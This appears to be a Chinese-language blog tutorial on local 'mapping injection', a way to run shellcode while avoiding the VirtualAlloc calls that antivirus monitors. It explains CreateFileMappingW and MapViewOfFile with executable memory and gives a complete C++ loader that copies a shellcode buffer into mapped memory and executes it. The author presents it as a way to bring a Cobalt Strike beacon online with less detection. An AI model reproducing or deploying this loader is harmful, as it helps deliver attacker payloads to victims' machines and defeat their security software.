不知不觉又鸽了一段时间了,今天我们来讲一下映射注入
1.为什么要映射注入??
我们平时直接通过VirtualAlloc申请的一块RWX内存,在Windows的内存中,其实是属于一块私有的可读可写可执行的内存!杀软会重点监控(你HW排查的时也可以去扫一下这种内存)
怎么解决呢?(其实看他HOOK什么)
- 动态调用,规避使用VirtualAlloc
- 使用NTDLL中的函数 NTAllocateVirtualMemroy ,这种更底层的API
- 映射注入,不用VirtualAlloc !!
- .......
2.什么是映射注入
在了解映射注入之前,我们先来了解一下映射内存
内存映射(Memory Mapping)是一种将文件内容映射到进程的虚拟地址空间的技术。在这种机制下,文件可以被视为内存的一部分,从而允许程序直接对这部分内存进行读写操作,而无需传统的文件 I/O 调用。这种方法不仅简化了文件操作,还提高了处理效率。
这里,我们讲本地映射注入,大致步骤如下
- 创建文件映射的对象
- 用指针接受文件映射的虚拟地址
- 将我们的shellcode拷贝到这个虚拟地址
- 创建线程或者指针调用
3.用到的一些API
1.CreateFileMappingW
CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(calc), NULL)
- 此API会返回一个文件的对象
- 其中的第一个参数就是我们要打开的文件,但是我们不需要打开文件,所以我们写INVALID_HANDLE_VALUE
- 第三个参数指定内存的保护级别,我们写PAGE_EXECUTE_READWRITE
- 第五个就是我们的ShellCode的大小了
2.MapViewOfFile
这个感觉和VirtualAlloc有点像的
MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(calc));
- 此API会返回一个映射地址
- 第一个参数就是我们刚才获得的文件对象
- 第二个由于我们只需要写和执行,所以我们写 FILE_MAP_WRITE | FILE_MAP_EXECUTE
- 最后一个参数就是我们shellcode的长度了
3.Memcpy
这个就不说了,前面说过了,都是老朋友了!
4.本地映射注入上线CS
首先我们去生成一段ShellCode
然后我们写出以下的一个简单本地映射注入的代码(自行加上判断条件)
#include<iostream>
#include<Windows.h>
using namespace std;
unsigned char buf[] = "你的shellcode";
PVOID MappingInject()
{
HANDLE hFile = INVALID_HANDLE_VALUE;
LPVOID pAddress = NULL;
//创建映射对象
hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(buf), NULL);
//分配虚拟映射内存
pAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(buf));
//拷贝calc的内存到这块虚拟映射内存
memcpy(pAddress, buf, sizeof(buf));
return pAddress;
}
int main()
{
PVOID pAddress = MappingInject();
((void(*)())pAddress)();
}
然后我们直接编译运行即可
这样相比起一些什么远程注入,劫持,似乎并没有杀的这么厉害,也可以完美的规避VirtualAlloc这个函数!